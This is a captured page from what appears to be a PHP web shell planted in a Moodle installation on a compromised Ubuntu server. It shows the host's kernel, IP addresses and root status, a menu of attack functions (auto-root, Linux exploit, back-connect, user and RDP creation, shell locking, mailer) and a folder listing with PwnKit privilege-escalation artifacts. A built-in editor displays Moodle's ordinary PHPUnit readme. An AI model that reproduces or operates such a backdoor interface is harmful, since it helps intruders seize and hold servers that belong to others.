Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
phpunit /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
bootstrap.php
8.36
KB
-rwxrwxrwx
bootstraplib.php
3.17
KB
-rwxrwxrwx
generatorlib.php
1.34
KB
-rwxrwxrwx
lib.php
1.68
KB
-rwxrwxrwx
phpunit.xsd
11.63
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
readme.md
2.39
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : readme.md
PHPUnit testing support in Moodle ================================== Documentation ------------- * [Moodle Dev wiki](http://docs.moodle.org/dev/PHPUnit) * [PHPUnit online documentation](http://www.phpunit.de/manual/current/en/) * [Composer dependency manager](http://getcomposer.org/) Composer installation --------------------- Composer is a new dependency manager for PHP projects. It installs PHP libraries into /vendor/ subdirectory inside your moodle dirroot. 1. install Composer - http://getcomposer.org/doc/00-intro.md 2. go to your moodle dirroot and execute `php composer.phar install --dev` PEAR installation (not recommended) ----------------------------------- PEAR is a framework and distribution system for reusable PHP components. The packages installed via PEAR are available in all PHP projects. 1. install PEAR package manager - see [PEAR Manual](http://pear.php.net/manual/en/installation.php) 2. install PHPUnit package and phpunit/DbUnit extension - see [PHPUnit installation documentation](http://www.phpunit.de/manual/current/en/installation.html) 3. edit main config.php - add `$CFG->phpunit_prefix` and `$CFG->phpunit_dataroot` - see config-dist.php 4. execute `php admin/tool/phpunit/cli/init.php` to initialise the test environment, repeat it after every upgrade or installation of plugins Test execution -------------- * execute `vendor/bin/phpunit` (or `phpunit` if you use PEAR) from dirroot directory * you can execute a single test case class using class name followed by path to test file `vendor/bin/phpunit core_phpunit_basic_testcase lib/tests/phpunit_test.php` * it is also possible to create custom configuration files in xml format and use `vendor/bin/phpunit -c mytestsuites.xml` How to add more tests? ---------------------- 1. create `tests` directory in your plugin 2. add `local/mytest/tests/my_test.php` file with `local_my_testcase` class that extends `basic_testcase` or `advanced_testcase` 3. add some test_*() methods 4. execute your new test case `phpunit local_my_testcase local/mytest/tests/my_test.php` 5. execute `php admin/tool/phpunit/cli/init.php` to get the plugin tests included in main phpunit.xml configuration file How to convert existing tests? ------------------------------ 1. create new test file in `xxx/tests/yyy_test.php` 2. copy contents of the old test file 3. replace `extends UnitTestCase` with `extends basic_testcase` 4. fix setUp(), tearDown(), asserts, etc.
Close